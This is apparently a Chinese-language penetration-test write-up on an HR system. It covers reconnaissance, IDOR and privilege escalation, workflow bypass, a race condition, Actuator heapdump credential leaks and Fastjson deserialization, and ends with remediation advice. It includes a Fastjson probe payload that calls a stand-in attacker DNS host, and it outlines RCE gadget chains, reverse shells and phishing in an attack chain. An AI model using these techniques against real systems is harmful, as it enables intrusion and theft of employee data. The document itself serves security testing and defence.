企业HR系统安全评估实战:从越权访问到逻辑漏洞的组合挖掘

企业HR系统安全评估实战:从越权访问到逻辑漏洞的组合挖掘

1. 项目概述:一次典型的HR系统安全评估之旅

最近在内部授权测试中,我深度参与了一个企业级HR(人力资源)系统的安全评估项目。这并非一次漫无目的的扫描,而是针对一个正在服役、承载着全公司员工敏感信息(如薪酬、绩效、身份信息)的核心业务系统进行的定向漏洞挖掘。这类系统往往因为其业务复杂、交互逻辑多、数据价值高,而成为安全测试中的重点和难点。很多人觉得漏洞挖掘就是拿着工具一顿扫,但面对一个定制化程度高、业务逻辑环环相扣的HR系统,那种“广撒网”的方式往往收效甚微,甚至可能因为大量无效请求触发告警。这次我想分享的,就是如何像“侦探”一样,通过组合拳的方式,从信息收集到漏洞利用,层层递进,最终在这样一个系统中发现有效的安全风险。整个过程融合了手动测试的灵感和自动化工具的辅助,非常适合想从基础SRC(安全应急响应中心)漏洞挖掘转向更深入业务逻辑测试的朋友参考。

2. 前期侦察与攻击面梳理

在直接对系统“动手”之前,充分的信息收集和攻击面分析是决定后续效率的关键。这就像打仗前的侦察,目的是绘制一张尽可能详细的地图。

2.1 资产识别与子域名枚举

首先,我们明确了目标:hr.corporate.com。但这通常只是冰山一角。一个成熟的HR系统可能包含员工自助门户、管理员后台、移动端API接口、第三方集成服务等多个子系统。

我通常会从以下几个维度入手:

  1. 子域名爆破:使用诸如subfinderamass等工具,结合常见的字典(如subdomains-top1million-110000.txt),尝试发现像admin.hr.corporate.comapi.hr.corporate.commobile.hr.corporate.compayroll.hr.corporate.com这类可能存在的子域。这次我们就发现了admin-portal.hr.corporate.com这个未在公开文档中提及的管理后台入口。
  2. 端口与服务扫描:对主域名和发现的子域名进行非全端口扫描(如 top 1000)。除了常见的80/443,要特别关注808084439000等常见的管理或调试端口,以及9200(Elasticsearch)、27017(MongoDB)等可能暴露的数据库服务。这次在api.hr.corporate.com8081端口发现了一个用于文档预览的服务。
  3. 目录与文件枚举:使用dirsearchgobuster等工具,针对不同路径进行扫描。字典的选择很重要,我会混合使用通用字典和针对Web应用(如raft-large-files.txt)、备份文件(如bak, sql, tar.gz)、配置文件(如env, config, properties)的专用字典。这次通过目录扫描,在员工门户的静态资源目录下发现了一个被遗忘的/uploads/目录,里面存放着用户上传的头像,这本身可能就是一个信息泄露点。

2.2 技术栈与框架指纹识别

了解目标用什么技术搭建的,能极大缩小漏洞测试的范围,做到有的放矢。

  • 前端框架:通过查看页面源代码、网络请求中的JS/CSS文件命名、以及使用Wappalyzer这类浏览器插件,我们识别出前端主要使用Vue.js框架,并搭配了Element UI组件库。这提示我们,可以关注前端API接口的调用逻辑。
  • 后端框架:观察Cookie(如JSESSIONID暗示Java,PHPSESSID暗示PHP)、HTTP响应头(如Server: nginx/1.18.0X-Powered-By: Express)、以及URL路径特征(如.do可能为Struts,.action可能为Spring MVC)。本次目标在登录请求的响应头中暴露了X-Application-Context: application:prod:8080,这强烈指向了Spring Boot应用。同时,一些API的路径模式为/api/v1/employee/{id},符合RESTful风格,也常见于Spring生态。
  • 中间件与数据库:响应头中的Server字段、错误页面信息、以及特定端口的服务,能帮助我们判断Nginx/Apache/Tomcat等。结合业务场景,HR系统大概率使用关系型数据库,如MySQL或PostgreSQL。

注意:指纹识别要动态结合。例如,发现是Spring Boot后,就要立刻想到几个常见的测试点:默认的Actuator端点(如/actuator/env)、Swagger API文档(如/v2/api-docs)、以及特定版本可能存在的已知漏洞(如Spring4Shell需特定条件)。我们立刻尝试了/actuator/health,果然存在,并且/actuator/env端点也暴露了大量配置信息,包括数据库连接串(虽然密码被部分掩码)、Redis地址等,这为后续的漏洞链构建提供了宝贵信息。

3. 漏洞挖掘组合拳实战

在摸清家底后,便进入了核心的漏洞挖掘阶段。我倾向于采用“由浅入深、多点联动”的策略,不局限于单一漏洞类型。

3.1 突破点一:越权访问与信息泄露

越权是业务系统中最常见也最危险的问题之一,分为水平越权(访问同级别用户数据)和垂直越权(低权限访问高权限功能)。

案例:ID遍历导致员工敏感信息泄露在员工自助门户,有一个查看个人工资单的功能,URL形如:/api/v1/payslip/2023-10。通过抓包分析,发现其请求体或Cookie中并未对员工ID做强校验,而是依赖于前端传递的一个参数employeeId。我尝试将employeeId从自己的ID(如10086)修改为相邻的数字(10085, 10087)。

  • 测试过程:使用Burp Suite的Intruder模块,对employeeId参数进行数字序列Payload攻击(从10000到10100)。
  • 结果:服务器对大多数请求返回了“未授权”或“无数据”,但对其中几个特定的ID(如10085, 10088)返回了完整的工资单PDF文件下载链接。这说明后端仅校验了“该ID是否存在工资单”,但没有严格校验“当前登录用户是否有权查看该ID的工资单”。这是一个典型的水平越权漏洞
  • 影响:攻击者可以遍历获取大量其他员工的薪酬信息,构成严重的隐私和数据泄露事件。

案例:权限框架配置不当导致的垂直越权在之前发现的admin-portal子域名,我们尝试用普通员工账号登录,被拒绝。但通过拦截登录成功后的跳转请求,我们直接访问管理员后台的某个具体功能URL,例如/admin/employee/list

  • 测试过程:普通用户登录员工门户后,获取到有效的会话Cookie。然后,在新标签页中直接访问https://admin-portal.hr.corporate.com/admin/employee/list
  • 结果:页面成功加载了全体员工列表,包括敏感字段如身份证号、银行账号、薪资等级。这说明后台仅在前端菜单和入口处做了权限控制,但后端接口/admin/employee/list缺乏全局的、基于角色的访问控制(RBAC)校验,导致了垂直越权
  • 深度利用:进一步测试发现,不仅list接口,连/admin/employee/update(更新员工信息)、/admin/salary/config(薪资配置)等核心管理接口,普通员工会话均可访问并操作。这几乎等同于获得了后台管理员权限。

3.2 突破点二:逻辑漏洞的挖掘

逻辑漏洞往往隐藏在复杂的业务流程中,需要深入理解业务。

案例:审批流程的绕过系统有一个请假审批流程:员工提交 -> 直属经理审批 -> HR备案。我们测试了“经理审批”环节。

  1. 正常流程:员工A提交请假单,状态为“待经理审批”。经理B登录后,在待办列表中可以批准或拒绝。
  2. 漏洞测试:员工A在提交后,抓取“提交请假申请”的请求包,发现其中包含一个参数processInstanceId(流程实例ID)和currentNode: "SUBMIT"。我们尝试重放这个请求,但将currentNode修改为"MANAGER_APPROVED",同时将请求的HTTP方法从POST改为PUT,指向状态更新接口/api/v1/leave/status
  3. 结果:请求成功,请假单状态直接被更新为“经理已批准”,跳过了经理的实际审批操作。这是因为后端在状态机流转校验上存在缺陷,没有验证状态变更的发起人角色和前后状态顺序的合法性。

案例:竞争条件漏洞(Race Condition)在“年度培训名额申请”功能中,每个部门有固定名额,先到先得。申请时,前端会提示“剩余名额:5”。

  1. 测试过程:使用Burp Suite的Turbo Intruder扩展,同时发起10个申请请求(使用同一个已认证的会话,但申请不同培训课程以避开业务重复校验)。
  2. 结果:10个请求中有7个返回“申请成功”。检查后台,发现该部门的5个名额被超额占用。漏洞成因在于后端逻辑是:1. 查询剩余名额 -> 2. 判断>0 -> 3. 名额减1 -> 4. 创建申请记录。这个过程不是原子操作(例如使用数据库行锁或分布式锁),当多个请求几乎同时到达第1步时,它们都看到名额>0,然后都执行了减1操作,导致超卖。

3.3 突破点三:不安全配置与已知组件漏洞利用

结合前期信息收集的成果,对暴露的组件和配置进行深入测试。

案例:Spring Boot Actuator配置不当之前我们发现了/actuator端点。进一步枚举,发现了/actuator/heapdump(堆转储)端点可访问。下载堆转储文件(.hprof)后,使用MAT(Memory Analyzer Tool)或jhat工具进行分析。

  • 分析过程:在堆转储中搜索包含“password”、“secret”、“key”等关键词的字符串。成功找到了内存中明文暂存的数据库密码、邮件服务器SMTP密码以及一个用于内部API调用的Bearer Token。
  • 影响:这些凭据可以导致数据库完全失陷、内部邮件被滥用、以及利用该Token调用更高权限的内部API。这是一个由信息泄露(Actuator端点暴露)导致敏感数据泄露,进而可能引发更深层次入侵的典型链条。

案例:第三方组件漏洞(Fastjson反序列化)在测试某个报表导出功能时,发现请求参数中包含一个复杂的JSON对象,用于传递查询条件。该JSON对象中有一个@type字段,这引起了我的警觉,因为这是Fastjson库用于指定反序列化类型的特征字段。

  1. 试探:我尝试发送一个包含简单Java类路径的Payload:{"@type":"java.net.InetAddress", "val":"attacker-dns.log"}。这个Payload如果被成功反序列化,会触发一次DNS查询到我的日志服务器。
  2. 结果:监控DNS日志,收到了来自目标服务器的查询请求。这证实了后端使用了存在反序列化漏洞的Fastjson版本(<=1.2.24/1.2.48等版本,具体需进一步探测)。
  3. 利用:由于是内部系统,且存在出网限制,直接利用JNDI注入加载远程恶意类可能失败。但我们可以利用已知的Gadget链,结合目标ClassPath中存在的库(如Tomcat依赖、Spring依赖),构造一个能导致远程代码执行(RCE)的Payload。例如,使用org.apache.tomcat.dbcp.dbcp2.BasicDataSource链,配合目标服务器可访问的恶意MySQL服务器,实现RCE。

4. 漏洞链组合与危害升级

单一的中低危漏洞可能不足以引起足够重视,但将它们组合起来,其危害性会呈指数级增长。本次测试中就构建了这样一条攻击链:

攻击链演示:从普通员工到全域控制

  1. 起点(低危):通过目录枚举,发现/uploads/user_avatar/目录存在目录遍历,可以列出部分员工头像文件名(信息泄露)。
  2. 第一步(中危):利用水平越权漏洞(ID遍历),通过头像文件名关联到员工ID,进而获取到多名员工的详细个人信息,包括部门、邮箱、工号。
  3. 第二步(高危):分析获取到的信息,发现一名IT部门员工的邮箱。结合之前Actuator端点泄露的SMTP配置,我们可以伪造发件人,向该IT员工发送一封钓鱼邮件,诱使其点击链接或下载附件(需要社工配合)。或者,利用逻辑漏洞中的竞争条件,以该员工名义“抢注”一个关键系统的访问权限(如果系统有此类设计)。
  4. 第三步(严重):假设IT员工中招,其电脑被植入木马,或者其凭证(可能用于VPN、堡垒机)被窃取。攻击者即可进入内网。
  5. 第四步(致命):在内网中,利用之前发现的admin-portal垂直越权漏洞(因为从内网访问可能无额外认证),直接操作HR后台。或者,利用Fastjson反序列化漏洞(内网环境可能出网策略更宽松),在HR服务器上获取一个反向Shell,从而完全控制这台存有全公司最敏感人事数据的服务器。

这条攻击链清晰地展示了:一个看似不起眼的信息泄露点,如何与业务逻辑漏洞、配置漏洞串联,最终可能引发灾难性的数据泄露甚至系统沦陷。

5. 修复建议与防御思考

针对挖掘到的这些漏洞,给开发和安全团队的建议必须具体、可操作:

  1. 权限校验统一化

    • 后端每个接口都必须进行显式的、基于角色/权限的访问控制校验。推荐使用Spring Security、Shiro等安全框架的注解(如@PreAuthorize("hasRole('ADMIN')"))进行声明式控制,避免在业务代码中散落校验逻辑。
    • 对涉及资源ID(如employeeId,orderId)的操作,必须增加“属主校验”:即判断当前请求的用户是否有权操作这个ID对应的资源。这可以通过在数据库查询时关联当前用户ID来实现。
  2. 业务逻辑安全加固

    • 对关键业务流程(如审批、支付、名额分配),绘制清晰的状态机图。在后端实现状态机引擎,严格校验状态转换的合法性(前驱状态、后继状态、操作者角色)。
    • 对于“检查-然后-操作”模式(如检查余额然后扣款),必须使用悲观锁SELECT ... FOR UPDATE)或乐观锁(带版本号更新)来保证原子性,防止竞争条件。
  3. 敏感信息与配置管理

    • 生产环境必须禁用严格保护Actuator、Swagger、phpMyAdmin等管理和调试端点。若需使用,应通过IP白名单、强认证等方式进行限制。
    • 配置文件中的密码、密钥等必须使用加密存储,或在运行时从安全的配置中心(如Vault)获取。绝对禁止在日志、错误信息、HTTP响应中泄露敏感数据。
  4. 组件安全与输入校验

    • 建立第三方组件(库、框架、中间件)的清单,定期使用SCA(软件成分分析)工具扫描已知漏洞,并及时升级到安全版本。
    • 对于JSON、XML等复杂数据解析,明确指定可反序列化的类白名单,避免使用自动类型匹配(如Fastjson的autoType)。对所有用户输入实施严格的校验、过滤和转义。
  5. 安全开发生命周期(SDL)

    • 在需求设计阶段就引入安全评审(Threat Modeling)。
    • 开发人员需接受安全编码培训。
    • 在测试阶段,除了功能测试,必须包含渗透测试和安全扫描,特别是针对业务逻辑漏洞的专项测试。

漏洞挖掘的本质是一场攻防视角的对话。作为攻击方,我们需要像系统设计者一样思考,寻找逻辑链条上的断点;作为防御方,则需要假设所有外部输入都不可信,所有权限都需要显式声明。这次对HR系统的测试再次证明,最深处的漏洞往往不在技术栈的最底层,而在业务逻辑与安全设计脱节的那一层。手动测试的思考过程,是任何自动化工具都无法替代的。